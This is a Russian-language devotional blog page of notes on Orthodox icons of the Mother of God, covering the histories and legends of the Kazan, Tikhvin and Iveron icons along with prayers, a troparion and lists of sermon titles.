хочу сюда!
 

Ольга

36 лет, водолей, познакомится с парнем в возрасте 33-43 лет

Заметки с меткой «богородица»

Празднество иконы Казанская

Казанская икона Божией Матери

В 1579 году, в царствование Иоанна Васильевича Грозного, который, при помощи Божией, покорил город Казань, столицу царства Татарского, в этом городе отроковице Матроне явилась во сне Богоматерь.

Казанская икона Божией Матери

Она сказала, что на том месте, где находится их дом, скрыта в земле Ее икона, и повелевала объявить о сем духовным и мирским властям в городе. Видение сие не один раз повторилось. Матрона поведала о сем матери. Но та оставила без внимания слова малолетней своей дочери. Наконец, отроковица увидела икону Богоматери в огненных лучах, причем был слышен страшный голос: «Если ты не поведаешь глаголов Моих, Я явлюсь в другом месте; но ты погибнешь!» На этот раз мать послушалась просьбы дочери, устрашенной последним видением, и отправилась вместе с нею к архиепископу и воеводам.

Но те не хотели им верить. Тогда, возвратившись домой, мать сама стала копать землю в указанном месте.

Акафист Пресвятой Богородице в честь иконы ее Казанской

Молитвы Пресвятой Богородице перед Ея иконой, именуемой “Казанская”

К ней присоединились и другие, но ничего не могли найти.

Наконец, когда стала копать сама отроковица Матрона, образ Пречистой Богородицы был найден и извлечен из земли.

Проповеди:

Поученіе въ день Казанской Божіей Матери. Прав. Іоаннъ Кронштадтскій

Поученіе на Празднованіе въ честь Казанской иконы Божіей Матери

Слово въ день Казанскія Божія Матери, сказанное въ Предтеченской церкви архіерейскаго дома 22 октября 1857 года. Митр. Макарій Булгаковъ

Слово въ день Казанскія иноны Божіей Матери. Архіеп. Павелъ Лебедевъ

Слово на день Казанскія иконы Пресвятыя Богородицы (22 октября). Митр. Сергій Ляпидевскій

Поученіе въ праздникъ Казанской иконы Богоматери, Октября 22. Еп. Виссаріонъ (Нечаевъ)

Проповедь в день празднования заступничества лика Казанской иконы Божией Матери за Москву в 1612 году священника Георгия Полякова

Проповедь протоиерея Вячеслава Резникова

Поученіе. День обртенія Казанской иконы Божіей Матери. (О чистот души). Прот. Григорій Дьяченко

Поученіе. День явленія Казанской иконы Божіей Матери. (Почему нужно обращатъся съ молитвою преимущественно къ Богоматери?). Прот. Григорій Дьяченко

Поученіе. Явленіе Казанской иконы Божіей Матери. ( Божія Матерь есть охранительница и поборница истиннаго ученія православной церкви). Прот. Григорій Дьяченко

Поученіе на Празднованіе въ честь Казанской иконы Божіей Матери (О чемъ мы должны молиться къ Божіей Матери?). Прот. Григорій Дьяченко († 1903 г.)

День празднованія Казанской Богоматерней икон (О любви Богоматери къ роду христіанскому и въ особенности къ православной Россіи). Прот. Григорій Дьяченко

Икона была с великою честию отнесена в церковь и прославилась чудостворениями.

На месте явления иконы выстроен женский монастырь, первой монахиней, а после и игуменьей которого стала Марфа, в миру — Матрена Онучина.

В память об обретении иконы установлено празднование Казанской иконы Божией Матери 2 (21) июля. В 1579 г. список с Казанской иконы отправлен в Москву Иоанну Грозному. Позже Петр I эту чудотворную икону перенес в Петербург. Еще один чудотворный список с иконы был привезен из Казани в Москву князем Дмитрием Пожарским, который с ополчением вступил в столицу 22 октября 1613 г. (ст. ст.) и освободил город от поляков. В честь этого события установлено празднование Казанской иконе 22 октября (4 ноября). По изгнании врагов князь исполнил данный им обет: устроил в Москве церковь во имя Казанской Божией Матери (храм разрушен в 1930 г., ныне восстановлен). Икона, хранившаяся в Казани, утрачена в 1904 г.

Далее

Тихвинская икона Божией Матери

Тихвинская икона Божией Матери

Монастырь Тихвинской иконы Божией Матери в Новгородской обл.
XV-XVI века

Память: 26 июня/9 июля

Икона Божией Матери именуемая «Тихвинская» По преданию, Тихвинская икона Божией Матери и есть та самая первая Одигитрия, которая исполнена евангелистом Лукой. Раньше она находилась во Влахернском храме в Константинополе, откуда незадолго до взятия города турками чудесно перенеслась в 1383 г. к городу Тихвину Новгородской губернии.

Тихвинская икона Божией Матери

В Константинопольском храме икона уже не раз исчезала и вновь появлялась, но в тот год икона исчезла в последний раз и больше не появилась. Появилась она тогда в лучезарном свете перед рыбаками на Ладожском озере, через некоторое время ее видели в 30 верстах от Ладоги, на озере Онче в Смольнове, затем она явилась на левом притоке Свири, речке Ояти, в селе Вымочицы, жители которого приняли икону и выстроили для нее часовню, но через некоторое время икона снова исчезла и появилась в воздухе в местечке Кожела близ реки Паши (впадающей в Ладогу). В Кожеле тотчас выстроили часовню, а потом и храм во имя Покрова Богоматери. Но икона не осталась и там, явившись близ Тихвина. Люди толпами бежали к месту ее явления, с крестным ходом шли все священники из соседних сел. По молитве народа икона спустилась на землю.

Акафист Пресвятой Богородице перед Ея иконой, именуемой “Тихвинская”

Молитвы к Пресвятой Богородице перед Ея иконой, именуемой “Тихвинская”

На месте ее явления поставили сначала деревянный, чуть позже каменный храм, а потом (при Иване Грозном) основали монастырь. Почитание иконы было столь велико, что в Успенском храме сделали особое окно, через которое паломники-богомольцы могли видеть чудотворную икону даже в часы, когда храм закрыт. По преданию, перед иконой не раз видели поклоняющихся ей ангелов.

Тихвинская икона Божией Матери

Россия,  Середина XVIIIвека. Заонежье. Лики Богоматери и Христа будто набелены и нарумянены по деревенской моде. По всем одеждам — наивные и нежные узоры серебром. Во внешних углах лузги еле заметные «стрелки», какими очень часто украшали поля северных икон именно в XVIIIв.

В 1527 г., в княжение Василия III в Тихвине возводили каменную церковь. Когда она была почти готова, внезапно обрушился свод, двадцать рабочих было погребено под руинами, но по молитве перед иконой все остались живы. Сохранилось великое множество свидетельств о чуде исцелении от Тихвинской иконы, исцелялись перед нею и парализованные (расслабленные), и глухонемые, и слепые. Одно из чудес, получивших в свое время широкую огласку произошло в 1856 г. У тринадцатилетнего мальчика Александра Боровского после приступа падучей в 1850 г. отказали ноги и он мог лишь ползать на коленках. Его осматривали многие доктора, но ничего не могли поделать. Однажды он в каком-то болезненном возбуждении попросил родственников сопроводить его в монастырь. Отговоры не помогли. На коленях он вполз на площадку в храме, где находилась икона, вместо свечки положил перед образом гривенник и начал молится, стоя на коленях. Трижды поклонившись иконе, он встал на ноги и попросил окружающих оставить его одного. Через четверть часа он сам спустился по лестнице, как все здоровые люди.

Явление чудотворной иконы Пресвятой Богородицы, нарицаемой Тихвинской

После изгнания в 1612 г. из Москвы поляков и литовцев, на русские земли устремились шведы: королевич Карл-Филипп намеревался занять российский трон. Шведские войска одержали ряд побед, овладели Новгородом и двинулись на Тихвин.

Важнейшие события связанные с Тихвинской иконой

Праздник Тихвинской иконы Божией Матери

В 1613 г. началась осада монастыря. Монахи с воинами бились на стенах, тихвинцы с молитвами и песнопениями обнесли чудотворный лбраз вокруг стен обители. Шведы отступили, но ненадолго. Новое войско неприятеля вновь начало осаду. Шведы начали рыть подкопы под стены Большого Тихвинского монастыря. Один из поселян по имени Григорий увидел во сне Пречистую Деву, которая сказала ему так: «Иди, скажи всем сущим в обители, чтобы отогнали от дома Моего свиней, которые все вокруг изрыли, подкопались под ворота». На следующий день перед Тихвинской иконой был отслужен молебен и воодушевленные защитники монастыря, попрыгали в ров и бросились на врагов. Шведы, не ожидавшие от осажденных такой дерзости, в беспорядке бежали. На следующий день в большом сражении шведское войско потерпело сокрушительное поражение. Но победа была еще неполной. На следующий год военачальник Яков Делагарди послал к монастырю новое войско с приказанием разрушить обитель, а «большую русскую икону изрубить на куски». Эта угроза привела тихвинцев в ужас и они хотели бежать с иконой в Москву, но никто не смог даже сдвинуть образ с места: икона словно бы стала весить сто пудов. Жители Тихвина перебрались в монастырь и затворились в нем, уповая на помощь Божией Матери. И вдруг пришло неожиданное известие: шведское войско повернуло назад. На реке Сяси шведы столкнулись с небольшим русским отрядом, но решив, что перед ними великое войско, отступили.

После закрытия Успенского мужского монастыря в 1920-х годах икона была экспонатом местного краеведческого музея.

Точно неизвестно, где хранилась Тихвинская икона в то время. По всей вероятности, из Тихвина ее не вывозили и хранили то в Успенском монастыре, то в местных церквях.

В ноябре 1941 года Тихвин был оккупирован фашистами. Нацисты икону забрали – с целью использовать ее в пропагандистских целях. В 1942 году они привезли икону в Псков, где работала Псковская Православная миссия. Немцы понимали, что, открывая закрытые советской властью храмы, разрешая службы, они могут привлечь на свою сторону верующих.

История Тихвинской иконы Божией Матери тесно связана с Псковской Православной миссией. Икону поместили в псковском Свято-Троицком кафедральном соборе, однако приносили в собор только по воскресеньям.

Возглавлял Псковскую Православную миссию митрополит Сергий (Воскресенский). С 1942 года до весны 1944-го Псковская миссия достигла небывалого духовного расцвета. Открылись десятки церквей. Постоянно шли службы.

В 1944 году Тихвинскую икону перевезли в Ригу, где ее приняла православная община во главе с недавно посвященным епископом Рижским Иоанном Гарклавсом.

В 1943 году подросток Сергей Кожевников приехал в Ригу учиться в русской школе. Сергей и его семья познакомились с епископом Иоанном во время службы в Вентспилсе. Здесь Сергей начал служить в качестве алтарника. На тот момент он был уже достаточно взрослым, чтобы самостоятельно жить и учиться в Риге и, попросив епископа Иоанна помочь ему с жильем, получил предложение жить у него. Сергей стал иподиаконом и личным секретарем епископа Иоанна.

В сентябре 1944 года немецкие власти предложили епископу Иоанну в течение суток уехать из Риги.

Епископ вместе с матерью и личным секретарем покинул город и направился в порт Лиепая. Вместе с ними из Риги уехали несколько православных священников с семьями (некоторые из них стали впоследствии священниками Американской Православной Церкви). Пешком и на повозках преодолели они более 300 километров. Наконец они добрались до Лиепаи, где провели чуть больше недели.

Икона же находилась всё это время в Риге. Епископ Иоанн незадолго перед отъездом передал Тихвинскую икону в рижский Троице-Сергиев женский монастырь. Позже священник Николай Виегланс со своей семьей и еще две семьи священников вывезли икону из Риги. Так началось долгое путешествие величайшей святыни Русской Православной Церкви на Запад.

Добравшись до Лиепаи, отец Николай известил епископа Иоанна о том, что икона на месте. Ее принесли в Свято-Троицкий собор в Лиепае, где был отслужен молебен.

Потом был Гданьск, Лодзь, чехословацкий Яблонец, Иоханисберг. В Иоханисберге отец Иоанн и другие священники прожили около года.

Епископ Иоанн хранил Тихвинскую икону у себя, принося ее в церковь на службу.

В 1945 году епископ вместе со своей группой переехал в Прагу. Из Праги епископ Иоанн и большинство членов его группы решили перебраться в американскую зону.

Католическое агентство «Каритас» предложило группе священников присоединиться к французским беженцам, отправлявшимся на родину. Восемнадцатилетний Сергей Кожевников нес Тихвинскую икону. Наконец удалось найти нужный состав и забраться в вагон. Они добрались до Пильзена, затем до Амберга, находившегося в американской зоне. Здесь епископ Иоанн и его группа пробыли до июля 1946 года. Затем беженцы снова двинулись в путь. До 1949 года епископ Иоанн находился в лагере для перемещенных лиц в Херсбруке (Германия).

Поселившись в этом городе, отец Иоанн стал посещать лагеря для перемещенных лиц по всей стране, и икона почти всегда была с ним.

Крестный ход с Тихвинской иконой Божией Матери. На переднем плане – епископ Рижский Иоанн (Гарклавс). Германия. 1947 г.

Крестный ход с Тихвинской иконой Божией Матери. На переднем плане – епископ Рижский Иоанн (Гарклавс). Германия. 1947 г.

После переезда в Германию Сергей принял мирскую фамилию епископа Иоанна и стал Сергеем Гарклавсом, впоследствии протоиереем Американской Православной Церкви.

Тихвинская икона помогла тогда многим обездоленным. Епископ Иоанн совершал многочисленные поездки по лагерям и служил молебны. Верующие бесконечной чередой проходили перед иконой.

В это время о местонахождении Тихвинской иконы стало известно советскому правительству, и его официальные представители в Восточной Германии потребовали, чтобы американские оккупационные власти ее вернули. Епископ Иоанн встречался в связи с этим с американским генералом Клеем и рассказал ему историю иконы. Генерал Клей официально подтвердил полномочия епископа Иоанна как хранителя иконы. Именно это в будущем позволило вывезти ее в США.

Когда епископ Иоанн принял Тихвинскую икону на хранение, он воспринимал себя именно как ее хранителя, а не как владельца. Он считал себя «служителем» иконы – до тех пор, пока не станет возможным вернуть святыню в ее родной дом – Тихвинский монастырь.

Передоверяя икону своему названному сыну, протоиерею Сергию Гарклавсу, он подчеркивал, что ее необходимо вернуть в Тихвинский монастырь – когда коммунистический режим падет, а монастырь будет восстановлен.

Pages: 1 2

21 апреля –день памяти Иконы Божией Матери "Живоносный Источник"

 С праздником!

Перед этой иконой молятся о сохранении праведной жизни, об исцелении от телесных и душевных недугов, о помощи в скорби. 

Тропарь Иконе Божией Матери «Живоносный источник»: 

Почерпем, человецы, цельбы душам и телом молитвою, Река бо всем предтечет — Пречистая Царица Богородица, источающи нам чудную воду и измывающи сердец черности, греховныя струпы очищающи, души же освящающи верных Божественною благодатию. 

Молитва перед иконой Божией Матери «Живоносный источник»: 

О, Пресвятая Дево, Всемилостивая Госпоже Владычице Богородице, Живоносный Источник Твой, целебные дары на здравие душ и телес наших и на спасение миру точащи, подала еси нам, темже благодарни суще усердно молим Тя, Царице Пресвятая, моли Сына Твоего и Бога нашего дати нам оставление прегрешений и всякой душе скорбящей и озлобленней милость и утешение, и от бед, скорбей и болезней освобождение. Подаждь, Госпоже, храму сему и сим людем покровение (и святей обители сей соблюдение), граду сохранение, стране нашей от напастей избавление и ограждение, да мирное зде поживем житие, и в будущем веце сподобимся видети Тебе Заступницу нашу, во славе Царства Сына Твоего и Бога нашего. Ему же слава и держава со Отцем и Пресвятым Духом во веки веков. Аминь.

Иверская икона Божией Матери

И́верская икона Пресвятой Богородицы

икона Божией Матери Иверская

Святыни Иверского монастыря
История Иверской иконы просматривается с первого века, когда по неизреченной любви к людям Божия Матерь благословила святого апостола и евангелиста Луку написать её изображение ещё во дни Своей земной жизни. Преподобный Иоанн Дамаскин писал: «Святой апостол и евангелист Лука, в то время, когда Пресвятая Матерь Божия жила ещё в Иерусалиме и обитала в Сионе, написал живописными средствами Её Божественный и честный образ на доске, дабы, как в зеркале, созерцали её последующие поколения и роды.

Когда Лука представил Ей сие изображение, Она сказала: «Отныне ублажат Мя все роды. Благодать и сила Рождшагося от Меня и Моя с вами да будет». Предание приписывает кисти святого апостола и евангелиста Луки от трёх до семидесяти икон Божией Матери, в том числе и Иверскую.

В первые века христианства среди мира Святой Христианской Церкви и тишины, наставшей после одоления духовных смут, возбужденных врагом-диаволом чрез подвластных ему и покорных его воле ересиархов: Ария, Нестория, Македония и других, – внезапно, попущением Божиим, создалась новая ересь – иконоборческая, сопровождавшаяся тяжкими гонениями на православных за почитание ими святых икон. Начавшись при иконоборце императоре греческом Льве Исавре, она продолжалась ещё и при императоре Феофиле (829–842) .

Этот христоненавистник осудил на изгнание многих православных, подвергая их всяким мукам, повелевая износить из храмов все иконы и подвергать их уничтожению, посылая для того своих воинов по всем городам и селам. И до неба по всей стране Греческой поднимался в то время дым от икон, сожигаемых нечистыми руками иконоборцев, жалобный стон православных христиан, предаваемых на мучения за почитание икон.

В стране Никейской жила в это многобедственное время некая благочестивая православная христианка-вдова с единственным своим сыном. Была она добродетельна, очень богата и поставила церковь вблизи своего дома, а в ней – икону Богоматери, которую почитала выше всех своих сокровищ. Воины, посланные царем-иконоборцем по всей Греческой стране истреблять святые иконы, пришли и в дом этой христианки и, обыскивая все места, чрез окно увидели в храме и образ Пречистой.

«Давай нам скорей денег, – вскричали жене той нечестивцы, – Или мы, творя царское повеление, умучим тебя всякими мучениями!»

«Много дам я вам денег, – отвечала жена та, – но только утром: нет их у меня сейчас в доме моем».

Воины не согласились ждать до утра, и один из них обернулся к образу и со злобой ударил мечем в лик Пречистой, и тотчас истекла из него кровь, как из живого лица, и они, испугавшись, убежали, обещая вернуться утром.

Настала ночь. Вошла в храм с отроком своим та христианка и, преклонив колени, воздела руки к небу и, орошая землю слезами, молилась долго ко Господу. Затем, вставши, взяла со страхом и благоговением вместе с сыном святую икону, принесла ее на берег моря и опять стала молиться ей как Самой Богоматери: «Владычица и Госпожа мира! Благодатию Твоею имеешь Ты власть и силу как Матерь Бога Вышнего и над всеми созданиями Его владычествуешь: избавь нас от гнева царя беззаконного, а икону Свою – от воды!».

И с этой молитвой спустили мать с сыном святую икону в море, и – о чудо! – не плашмя упала икона, но встала вертикально к воде и поплыла она, чудотворная, стоя на заход солнца, держа путь, ведомый Единому Богу и Матери Его Преблагословенной.

Помолились тут и поплакали мать с сыном, пока не скрылась из виду святая икона. И сказала со слезами горькими мать сыну своему единственному: «Чадо мое вожделеннейшее! Да явится ныне желание наше и к Богу благочестие, а к святой иконе Богородичной благоговение! Я, чадо мое любезнейшее, – слабая женщина и не могу бежать в страну далекую: останусь я здесь и постараюсь укрыться в тайном месте, а если меня найдут воины злые царя нечестивого, то, Господь видит, готова я умереть за любовь к Богоматери. Ты же беги в страну Элладскую (Древняя Греция), чтобы не сотворили зла и над тобою, сыном моим любимым и единственным».

Облобызали мать с сыном друг друга, поплакали горько и расстались, обливаясь горючими слезами.

Юноша бежал в Фессалоникию, а оттуда на Святую Гору Афонскую, в Иверскую обитель, где и был пострижен в монахи и, проведя в монастыре Иверском жизнь преподобническую, с миром отошел ко Господу. От него афонцы услыхали об иконе, пущенной в море. В течение двух веков неизвестно было, где скрывалась заветная святыня. Принять к себе икону суждено было Иверскому монастырю, который был основан на рубеже IХ–Х веков на Афоне благочестивым грузинским полководцем Торникием.

Афон – особое место для любого православного человека, пожалуй, средоточие православной жизни.

Святая Гора Афон представляет собой полуостров в северовосточной Греции, восточный выступ полуострова Халкидики далеко вдавшийся в изумрудные воды Эгейского моря приблизительно на 80 километров в длину и около 12 километров в ширину. Полуостров горист, покрыт густыми лесами, изрыт бесчисленными скалистыми оврагами. В юго-восточной части полуострова возвышается гора Афон высотой 2033 метра над уровнем моря. В языческой древности Афонскую гору знали как Аполониаду (по храму Аполлона), позднее на вершине горы стоял храм Зевса, который назывался по-гречески Афос (по-русски – Афон).

Церковное предание повествует о том, что существуют особые места попечения Царицы Небесной, названные Ее Вселенскими Жребиями Уделами. Первый из них Божия Матерь получила после дня Пятидесятницы, когда апостолы решали вопрос, в какую страну идти каждому из них для проповеди Евангелия. Пресвятая Богородица пожелала принять участие в благовестии: «И Я хочу бросить с вами жребий, чтобы не оставаться без части, но пусть будет и у Меня страна, которую Мне Бог укажет». Ученики благоговейно бросили жребий по словам Пречистой, и по жребию Ей досталась Иверская земля. Божия Матерь с радостью приняла Свой апостольский жребий, желая немедленно туда отправиться. Однако Ангел Божий явился Ей и сказал: «Не отлучайся теперь из Иерусалима, но оставайся здесь некоторое время; страна же, выпавшая Тебе по жребию, просветится впоследствии и владычество Твое водворится там».

Предание Церковное повествует далее, что и Сам Господь Иисус Христос сказал Пречистой: «О Матерь Моя, не отвергну Жребия Твоего и не оставлю народа Твоего без участия в небесных благах ходатайством Твоим. Но пошли вместо Себя Первозванного Андрея в Удел Твой, а с ним – изображение, которое получится от приложения приготовленной на то доски к Твоему лицу. Образ этот... послужит хранителем людей Твоих вовеки».

После этого явления Пресвятая призвала к Себе апостола Андрея и сказала ему: «Чадо Мое Андрее! Очень сокрушаюсь о том, что страна, доставшаяся Мне в Удел для проповеди, не просвещена еще учением Сына Моего. Но вот что: когда намеревалась Я идти в Иверию, явился Мне Сам Благий Сын Мой и Бог и велел, чтобы Я вместо Себя отправила туда с Моим образом тебя. Я буду Хранительницей жизни людей той страны и, воздевая о них руки к Сыну Моему, буду испрашивать им от Него помощи во всем». На это апостол сказал: «Пресвятая воля Благого Сына Твоего и Твоя да будет во веки».

Тогда Пресвятая Богородица потребовала доску, умывши лицо Свое, приложила его к этой доске, и на ней появился образ Владычицы с Предвечным Ее Сыном на руках. Вскоре после этого святой Андрей отправился на проповедь слова Божия. В древней Иверской земле проповедовал Евангелие и другой апостол от двенадцати – Симон Кананит.

Хотя в апостольский век Иверия не стала христианской страной, однако семена веры были посеяны на Иверской земле, поэтому Грузия просветилась Светом Христовым необычайно быстро, но произошло это уже в иное время...

В первом столетии Ирод воздвиг в Иудее гонения на последователей Христа. Тогда Матерь Божия с апостолом Иоанном Богословом отправилась на Кипр к святому Лазарю Четверодневному. Во время плавания корабль прибыл к горе Афонской. Божия Матерь попросила Афон у Сына Своего в дар, и тогда раздался глас: «Пусть это место станет Твоим Уделом, и садом, и раем, а еще и спасительной пристанью для тех, кто желает спастись». Просвещенные Ее проповедью, местные жители приняли святое крещение. Божия Матерь сказала: «Сие место будет Мне от Сына и Бога Моего. Да пребудет же благодать Божия на месте сем и на живущих здесь с верою и исполняющих заповеди Сына Моего. Все нужное для земной жизни будут иметь они, и не оскудеет к ним милость Сына Моего и Бога до скончания века. Сему месту Я буду Заступница и Ходатаица о нем Богу» .

С тех пор Афонская гора всегда находилась под покровом Божией Матери. Сколько здесь было чудесных Ее посещений, явлений и обетовании, сколько знамений от чудотворных икон Афон стал местом, где человек может научиться равноангельской жизни.

Спустя три столетия после утверждения Афонского Жребия, Божия Матерь направила проповедовать Евангелие в Иверскую землю – Свой Второй Жребий – святую Нину, явившись ей во сне и вручив крест, сделанный из виноградной лозы: «Прими этот крест, он будет тебе щитом и ограждением против всех видимых и невидимых врагов, силою его ты утвердишь там спасительное знамя веры возлюбленного Сына Моего и Господа, Который хочет, чтобы все люди спаслись и пришли к уразумению истины».

Пробудившись, Нина обнаружила в руках чудесный крест. Перевязав его своими волосами, она обратилась к Иерусалимскому Патриарху, который благословил святую в путь. Нина достигла древнего города Иверской земли – Урбнисы и изучила там язык, обычаи и нравы нового народа.

В праздник Преображения Господня Нина пришла в столицу Картлинского царства – город Мцхету, где в этот день совершалось жертвоприношение языческим богам. По молитве святой поднялся ураган, уничтоживший изображения идолов. С этого момента Нина начала открыто проповедовать Евангелие. После чудесного исцеления, по ее молитвам, грузинской царицы, царь Мириан согласился креститься сам и крестить свой народ.

По просьбе Нины византийский император Константин Великий послал к ней епископа Иоанна, который прибыл в Мцхету и крестил царя и народ Иверской земли. Здесь же был заложен каменный храм во имя Преображения Господня, в память того, что этот праздник знаменовал утверждение христианства в Грузии. Так в IV веке Иверия стала христианской страной, а впоследствии иверские иноки поселились на горе Афонской, основав свой монастырь, который принял чудотворную икону Иверскую, духовно соединившую Первый и Второй Жребии Божией Матери.

С тех пор Афон вступил в эру христианской истории. Он находился под владычеством Рима, преследовавшего христиан до 313 года, когда император Константин Великий издал указ о даровании христианам права гражданства и свободы вероисповедания. Император Константин воздвиг три обители на Горе Афонской: первую – у Климентовой пристани, где пристал корабль Божией Матери, повелев обитель ту освятить в честь и память Успения Пресвятой Владычицы; вторую – на том месте, где благовествовала народу учение вечной жизни во Христе Спасителе Пречистая Приснодева; а третью – там, откуда отплыл с Царицей Небесной корабль, уносивший Ее на Кипр к Лазарю четверодневному. И населил Господь все те обители великим множеством иноков дивной подвижнической жизни. Гору Афонскую тем же императором Константином Великим повелено было звать Святой.

Существует предание о том, что в 422 году было посещение Афона дочерью Феодосия Великого царевной Плакидией, но войти в монастырь Ватопед ей воспрепятствовал голос от иконы Божией Матери. С того времени отцы Афона положили закон, запрещающий доступ на Св. Гору лицам женского пола, что позже закрепилось и царскими указами.

Также на горе Афонской произошло немало дивных и чудесных событий. Сама Пречистая привела сюда отшельников. Первым из них стал преподобный Петр. В VII веке Она явилась преподобному вместе со святителем Николаем и на просьбу Святителя указать Петру место для подвигов сказала: «Для свободного служения Богу нет более удобного места, чем гора Афонская, которую Я приняла от Сына Моего и Бога в наследие Себе, дабы те, которые хотят удалиться мирских забот и смущений, приходили сюда и служили там Богу беспрепятственно и спокойно. Отныне гора эта будет называться Моим Вертоградом. Много люблю Я место сие, и придет время, когда оно от края, на север и на юг, наполнится множеством иноков. И если те от всей души будут работать Богу и верно сохранять заповеди Его, то Я сподоблю их, в великий день Сына Моего, великих дарований: еще здесь, на земле, будут они получать от Меня помощь; Я стану облегчать болезни и труды их и дам им возможность, при малых средствах, иметь довольство в жизни, даже ослаблю вражеские против них брани и плод их сделаю славным во всей подсолнечной».

Пятьдесят три года провел преподобный Петр на Афоне в молитвенном уединении. Вслед за ним потянулись на Афон другие подвижники. Местные предания относят основание первой монашеской обители и храма в Карее еще ко времени Константина Великого. А после царствования императора Константина Погоната, отдавшего полуостров во владение инокам, здесь один за другим стали возникать монастыри пока еще небольшие. К X веку Афон славился на весь Восток святостью жизни иноков, став центром православного монашества.

Высочайшее значение определил Господь Афону, находящемуся на границе миров греческого и славянского, – стать главным центром внутреннего делания Православия. В IХ и X веках на Афоне собрались подвижники и духовные учителя всего Православного Востока. Египетская и палестинская пустыни находились тогда уже под властью магометан, и потому именно с Афона распространялось монашество в страны Востока и особенно – в славянские земли. Знаменательно, что и после завоевания турками Византии Афон не утратил ни чистоты веры, ни духа подвижнической жизни, ни церковного благолепия. В XVI веке здесь подвизалось более восемнадцати тысяч монахов. Иноки Святой Горы веруют в особое попечение о них Божией Матери. В течение столетий неизменно возносят они молитвы к Ней, как к своей Игумении.

Иверский монастырь находится в восточной части Афона и назван так по имени провинции Иберии (современная Грузия), поскольку был основан царственными иноками из Грузии из династии Багратионов на месте развалин древнего Климентова монастыря – Иоанном Иверским и Иоанном Торникием (X век). До XIX века среди братии монастыря преобладали грузины.
Установив, таким образом, духовную связь между Своими жребиями на земле, Царица Неба и земли пожелала даровать Иверону на Горе Афонской в закрепление этого союза и печать Свою Царственную с изображением лика Своего Пресвятого – Чудотворную икону Свою с Предвечным Младенцем на руках Своих Пречистых.

Сидели раз святые афонские старцы у врат Иверской обители и вели свои святые беседы о спасении души христианской. Внезапно на море явился столп огненный, как пламень великий, достигающий вершиной самого неба. И ужаснулись от того видения старцы, и вскочили с мест своих, в страхе взывая: «Господи, помилуй!».

Услышала возгласы эти и остальная иверская братия и собралась вся вокруг своих старцев смотреть и удивляться невиданному и неслыханному явлению столпа огненного, исходящего из вод морских; но как ни думала, не могла братия открыть причины этого дивного чуда. Настала ночь, и огненный столп с моря стал сиять еще сильнее, ярче самого дневного солнца. И увидели этот свет чудесный все монахи со всей Горы Афонской. И стеклись к Иверону и из Лавры, и из Ватопеда, и из иных монастырей монахи и пустынники. И когда собралось все афонское монашествующее Христово воинство на берег морской, прилегающий к Иверону, то все увидели неподалеку от себя, в море, святую икону Богоматери. В радости великой стали они доставать святыню из волн морских, но не возмогли: только приблизятся к явленному чуду, а икона святая отступит от берега на глубину моря. Так и не возмогла братия афонская принять на свои руки икону Пречистой Богородицы.

Тогда повелел настоятель Иверского монастыря собраться всем в храм. И стала в храме молиться слезно братия: да удостоит ее Господь принять к себе святую икону Его Матери в утешение и радость подвига своего монашеского. И услышано было Господом теплое моление подвижников иверских.

Был в то время в Иверской обители монах родом из земли Иверской, именем Гавриил, нравом простейший, проводящий отшельническое житие и непрестанно наедине молящийся Богу. Ради безмолвия удалялся Гавриил на лето на самые высокие вершины Горы Афонской, а зимой, когда наступала там стужа и выпадал снег, он сходил с гор и затворялся в уединенной монастырской келии . Носил Гавриил власяницу, пищей ему были дикие травы, а питием – вода. Простота его была блаженная, и был он истинно земной Ангел и небесный человек. Гавриил этот, помолившись, уснул – и видит Пресвятую Богородицу в сиянии великой славы. И говорит ему Пречистая: «Иди в монастырь и возвести настоятелю, что Я хочу дать ему и братии Мою икону в покров Мой и помощь. Сойди на морской берег и иди с верою по водам, взяв Мою икону, да все уразумеют любовь и заботу Мою об обители вашей и да ведают, что Я Сама пришла на помощь вашу».

Сказала это слово Богородица и стала невидима, а Гавриил, муж Божественный, поспешно сошел с горы своей в обитель и возвестил настоятелю виденное. Настоятель же повелел собраться всем монахам в церковь; и, зажегши светильники, вышла из храма вся братия во главе с настоятелем, творя литию с пением псалмов Божественных, воссылая к небу дым кадильниц благовонный, и так достигли они морского берега, радуясь любви Богородицы. И пошел Гавриил по водам морским (о чудо великое!), и приблизилась к нему сама чудотворная икона, и принял ее в объятия свои Гавриил с радостью неописуемой, с пением и славословием Богу велегласными. И сам настоятель пошел навстречу Гавриилу, сойдя в море, а когда взошли оба со святою иконой на берег, то радости и веселию монашествующих и конца, казалось, не будет: три дня и три ночи продолжалось молитвенное пение и бдение, и без перерыва шла Божественная служба пред святой иконой в устроенной на берегу моря часовне. Затем перенесена была икона Владычицы в соборную церковь и поставлена в святом алтаре. И вновь пето было пред нею всенощное бдение.

По совершении бдения разошлись монахи афонские по своим монастырям, а наутро, в час утрени, вошел кандиловжигатель (пономарь, он же ктитор и сторож церковный) в храм, чтобы приготовить все для совершения по чину церковному утренней службы, и не нашел иконы на своем месте – в алтаре храма. Стали искать, и после долгих поисков нашли ее сверх врат, на стене монастырской ограды. Дивились монахи, как и кем, могла быть перенесена на это место святая икона, и перенесли ее опять на старое место, в алтарь храма, но оттуда она опять невидимою силою оказалась перенесенной на стену, над святыми вратами обители. Так повторялось много раз, и были монахи в недоумении великом, и не ведали, что и творить.
Тогда вновь явилась Владычица Гавриилу и сказала ему слово Свое: «Ступай в монастырь и скажи монахам, чтобы не искушали они Меня. Не для того явилась Я им, чтобы они Меня охраняли, а чтобы Мне Самой быть их хранительницей, и не только в нынешнем, но и в будущем веке. И еще скажи им: пока на горе этой монахи будут жить в страхе Божием и во благоговении и будут по силе своей трудиться для снискания добродетели, то пусть имеют дерзновение и надежду на милость Сына Моего и Владыки, ибо их Я у Него в Свой удел испросила, и Он дал Мне их. В знамение же этих слов Моих да будет им Моя икона: пока они будут зреть ее в своем монастыре, до тех пор не оскудеет им и милость, и благодать Сына Моего и Бога».

Богоносный же Гавриил, выслушавши такое слово Богоматери, вновь поспешил сойти с горы своей в обитель и возвестил о своем видении настоятелю, а тот собрал братию и поведал ей в безмерной радости слова Пречистой, сказанные Гавриилу.
И на вратах обители Иверской создан был храм во имя Пресвятой Богородицы – Портаитиссы, что значит Вратарница.
Иверский монастырь – дом иконы покровительницы Святой Горы Пресвятой Богородицы Иверской – Вратарницы (Портаитиссы).

По древней традиции икона находится не в центральном храме монастыря, а в небольшом приделе у ворот обители, почему и называется Вратарницей.

